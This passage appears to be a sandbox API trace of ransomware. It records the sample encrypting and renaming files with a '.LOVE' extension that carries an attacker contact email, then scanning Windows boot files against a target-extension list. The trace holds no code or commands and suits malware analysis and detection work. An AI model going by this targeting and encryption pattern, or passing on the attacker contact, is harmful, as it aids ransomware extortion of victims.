(lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.156] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0199.157] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0199.157] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc64 | out: lpNewFilePointer=0x0) returned 1 [0199.157] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.157] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d5d058*, lpNumberOfBytesRead=0x301fc30*=0x40000, lpOverlapped=0x0) returned 1 [0199.589] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x301fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.589] ReadFile (in: hFile=0x300, lpBuffer=0x3d9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d9d058*, lpNumberOfBytesRead=0x301fc30*=0x40000, lpOverlapped=0x0) returned 1 [0200.007] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.007] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x301fc24 | out: lpNewFilePointer=0x0) returned 1 [0200.007] ReadFile (in: hFile=0x300, lpBuffer=0x3ddd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ddd058*, lpNumberOfBytesRead=0x301fc30*=0x40000, lpOverlapped=0x0) returned 1 [0201.193] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.193] WriteFile (in: hFile=0x300, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x301fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0201.209] SetEndOfFile (hFile=0x300) returned 1 [0201.209] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4381448 [0201.212] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc74 | out: lpNewFilePointer=0x0) returned 1 [0201.212] WriteFile (in: hFile=0x300, lpBuffer=0x4381448*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc80, lpOverlapped=0x0 | out: lpBuffer=0x4381448*, lpNumberOfBytesWritten=0x301fc80*=0x40000, lpOverlapped=0x0) returned 1 [0201.214] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x301fc74 | out: lpNewFilePointer=0x0) returned 1 [0201.214] WriteFile (in: hFile=0x300, lpBuffer=0x4381448*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc80, lpOverlapped=0x0 | out: lpBuffer=0x4381448*, lpNumberOfBytesWritten=0x301fc80*=0x40000, lpOverlapped=0x0) returned 1 [0201.216] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x301fc74 | out: lpNewFilePointer=0x0) returned 1 [0201.216] WriteFile (in: hFile=0x300, lpBuffer=0x4381448*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc80, lpOverlapped=0x0 | out: lpBuffer=0x4381448*, lpNumberOfBytesWritten=0x301fc80*=0x40000, lpOverlapped=0x0) returned 1 [0201.216] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4381448 | out: hHeap=0x790000) returned 1 [0201.216] CloseHandle (hObject=0x300) returned 1 [0201.817] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0201.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.817] lstrlenW (lpString=".doc") returned 4 [0201.817] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0201.818] lstrlenW (lpString=".docx") returned 5 [0201.818] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0201.818] lstrlenW (lpString=".pdf") returned 4 [0201.818] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0201.818] lstrlenW (lpString=".xls") returned 4 [0201.818] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0201.818] lstrlenW (lpString=".xlsx") returned 5 [0201.818] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0201.818] lstrlenW (lpString=".ppt") returned 4 [0201.818] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0201.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.818] lstrlenW (lpString=".zip") returned 4 [0201.818] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0201.818] lstrlenW (lpString=".rar") returned 4 [0201.818] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0201.818] lstrlenW (lpString=".bz2") returned 4 [0201.818] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0201.818] lstrlenW (lpString=".7z") returned 3 [0201.818] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0201.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.818] lstrlenW (lpString=".dbf") returned 4 [0201.818] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0201.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.818] lstrlenW (lpString=".1cd") returned 4 [0201.818] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0201.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.818] lstrlenW (lpString=".jpg") returned 4 [0201.818] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0201.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.819] lstrlenW (lpString=".doc") returned 4 [0201.819] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0201.819] lstrlenW (lpString=".docx") returned 5 [0201.819] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0201.819] lstrlenW (lpString=".pdf") returned 4 [0201.819] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0201.819] lstrlenW (lpString=".xls") returned 4 [0201.819] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0201.819] lstrlenW (lpString=".xlsx") returned 5 [0201.819] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0201.819] lstrlenW (lpString=".ppt") returned 4 [0201.819] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0201.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.819] lstrlenW (lpString=".zip") returned 4 [0201.819] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0201.819] lstrlenW (lpString=".rar") returned 4 [0201.819] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0201.819] lstrlenW (lpString=".bz2") returned 4 [0201.819] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0201.819] lstrlenW (lpString=".7z") returned 3 [0201.819] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0201.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.819] lstrlenW (lpString=".dbf") returned 4 [0201.819] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0201.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.819] lstrlenW (lpString=".1cd") returned 4 [0201.819] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0201.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0201.819] lstrlenW (lpString=".jpg") returned 4 [0201.820] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0201.820] lstrlenW (lpString="BCD") returned 3 [0201.820] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.820] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.820] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.820] lstrlenW (lpString=".doc") returned 4 [0201.820] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0201.820] lstrlenW (lpString=".docx") returned 5 [0201.820] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0201.820] lstrlenW (lpString=".pdf") returned 4 [0201.820] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0201.820] lstrlenW (lpString=".xls") returned 4 [0201.820] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0201.820] lstrlenW (lpString=".xlsx") returned 5 [0201.820] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0201.820] lstrlenW (lpString=".ppt") returned 4 [0201.820] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0201.820] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.820] lstrlenW (lpString=".zip") returned 4 [0201.820] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0201.820] lstrlenW (lpString=".rar") returned 4 [0201.820] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString=".bz2") returned 4 [0201.821] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString=".7z") returned 3 [0201.821] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0201.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.821] lstrlenW (lpString=".dbf") returned 4 [0201.821] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.821] lstrlenW (lpString=".1cd") returned 4 [0201.821] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.821] lstrlenW (lpString=".jpg") returned 4 [0201.821] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.821] lstrlenW (lpString=".doc") returned 4 [0201.821] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString=".docx") returned 5 [0201.821] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0201.821] lstrlenW (lpString=".pdf") returned 4 [0201.821] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString=".xls") returned 4 [0201.821] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString=".xlsx") returned 5 [0201.821] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0201.821] lstrlenW (lpString=".ppt") returned 4 [0201.821] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0201.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.821] lstrlenW (lpString=".zip") returned 4 [0201.822] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0201.822] lstrlenW (lpString=".rar") returned 4 [0201.822] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0201.822] lstrlenW (lpString=".bz2") returned 4 [0201.822] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0201.822] lstrlenW (lpString=".7z") returned 3 [0201.822] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0201.822] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.822] lstrlenW (lpString=".dbf") returned 4 [0201.822] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0201.822] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.822] lstrlenW (lpString=".1cd") returned 4 [0201.822] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0201.822] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0201.822] lstrlenW (lpString=".jpg") returned 4 [0201.822] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0201.822] lstrcmpiW (lpString1=".LOG1", lpString2=".LOVE") returned -1 [0201.822] lstrlenW (lpString="BCD.LOG1") returned 8 [0201.822] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0201.822] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=0) returned 1 [0201.823] CloseHandle (hObject=0x300) returned 1 [0201.823] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.823] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.823] lstrlenW (lpString=".doc") returned 4 [0201.823] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0201.823] lstrlenW (lpString=".docx") returned 5 [0201.823] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0201.823] lstrlenW (lpString=".pdf") returned 4 [0201.823] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0201.823] lstrlenW (lpString=".xls") returned 4 [0201.823] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0201.823] lstrlenW (lpString=".xlsx") returned 5 [0201.823] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0201.823] lstrlenW (lpString=".ppt") returned 4 [0201.823] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0201.823] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.823] lstrlenW (lpString=".zip") returned 4 [0201.823] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0201.823] lstrlenW (lpString=".rar") returned 4 [0201.823] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0201.823] lstrlenW (lpString=".bz2") returned 4 [0201.823] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0201.823] lstrlenW (lpString=".7z") returned 3 [0201.823] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0201.823] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.823] lstrlenW (lpString=".dbf") returned 4 [0201.823] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.824] lstrlenW (lpString=".1cd") returned 4 [0201.824] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.824] lstrlenW (lpString=".jpg") returned 4 [0201.824] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.824] lstrlenW (lpString=".doc") returned 4 [0201.824] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString=".docx") returned 5 [0201.824] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0201.824] lstrlenW (lpString=".pdf") returned 4 [0201.824] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString=".xls") returned 4 [0201.824] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString=".xlsx") returned 5 [0201.824] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0201.824] lstrlenW (lpString=".ppt") returned 4 [0201.824] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.824] lstrlenW (lpString=".zip") returned 4 [0201.824] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString=".rar") returned 4 [0201.824] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString=".bz2") returned 4 [0201.824] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0201.824] lstrlenW (lpString=".7z") returned 3 [0201.825] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0201.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.825] lstrlenW (lpString=".dbf") returned 4 [0201.825] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0201.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.825] lstrlenW (lpString=".1cd") returned 4 [0201.825] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0201.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0201.825] lstrlenW (lpString=".jpg") returned 4 [0201.825] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0201.825] lstrcmpiW (lpString1=".LOG2", lpString2=".LOVE") returned -1 [0201.826] lstrlenW (lpString="BCD.LOG2") returned 8 [0201.826] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0201.826] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=0) returned 1 [0201.826] CloseHandle (hObject=0x300) returned 1 [0201.826] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.826] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.826] lstrlenW (lpString=".doc") returned 4 [0201.826] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0201.826] lstrlenW (lpString=".docx") returned 5 [0201.826] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0201.826] lstrlenW (lpString=".pdf") returned 4 [0201.826] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0201.826] lstrlenW (lpString=".xls") returned 4 [0201.826] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0201.826] lstrlenW (lpString=".xlsx") returned 5 [0201.826] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0201.826] lstrlenW (lpString=".ppt") returned 4 [0201.826] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0201.826] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.826] lstrlenW (lpString=".zip") returned 4 [0201.826] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0201.826] lstrlenW (lpString=".rar") returned 4 [0201.826] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString=".bz2") returned 4 [0201.827] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString=".7z") returned 3 [0201.827] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0201.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.827] lstrlenW (lpString=".dbf") returned 4 [0201.827] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.827] lstrlenW (lpString=".1cd") returned 4 [0201.827] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.827] lstrlenW (lpString=".jpg") returned 4 [0201.827] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.827] lstrlenW (lpString=".doc") returned 4 [0201.827] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString=".docx") returned 5 [0201.827] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0201.827] lstrlenW (lpString=".pdf") returned 4 [0201.827] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString=".xls") returned 4 [0201.827] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString=".xlsx") returned 5 [0201.827] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0201.827] lstrlenW (lpString=".ppt") returned 4 [0201.827] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.827] lstrlenW (lpString=".zip") returned 4 [0201.827] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0201.827] lstrlenW (lpString=".rar") returned 4 [0201.827] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0201.828] lstrlenW (lpString=".bz2") returned 4 [0201.828] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0201.828] lstrlenW (lpString=".7z") returned 3 [0201.828] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0201.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.828] lstrlenW (lpString=".dbf") returned 4 [0201.828] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0201.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.828] lstrlenW (lpString=".1cd") returned 4 [0201.828] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0201.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0201.828] lstrlenW (lpString=".jpg") returned 4 [0201.828] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0201.828] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0201.828] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0201.828] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0201.828] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=77664) returned 1 [0201.828] CloseHandle (hObject=0x300) returned 1 [0201.828] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0201.828] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.828] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.829] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.829] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.829] lstrlenW (lpString=".doc") returned 4 [0201.829] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.829] lstrlenW (lpString=".docx") returned 5 [0201.829] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0201.829] lstrlenW (lpString=".pdf") returned 4 [0201.829] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.829] lstrlenW (lpString=".xls") returned 4 [0201.829] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.829] lstrlenW (lpString=".xlsx") returned 5 [0201.829] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0201.829] lstrlenW (lpString=".ppt") returned 4 [0201.829] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.829] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.829] lstrlenW (lpString=".zip") returned 4 [0201.829] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.829] lstrlenW (lpString=".rar") returned 4 [0201.829] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.829] lstrlenW (lpString=".bz2") returned 4 [0201.829] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.829] lstrlenW (lpString=".7z") returned 3 [0201.829] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.829] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.829] lstrlenW (lpString=".dbf") returned 4 [0201.829] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString=".1cd") returned 4 [0201.830] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString=".jpg") returned 4 [0201.830] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0201.830] lstrlenW (lpString=".doc") returned 4 [0201.830] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.830] lstrlenW (lpString=".docx") returned 5 [0201.830] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0201.830] lstrlenW (lpString=".pdf") returned 4 [0201.830] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.830] lstrlenW (lpString=".xls") returned 4 [0201.830] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.830] lstrlenW (lpString=".xlsx") returned 5 [0201.830] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0201.830] lstrlenW (lpString=".ppt") returned 4 [0201.830] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 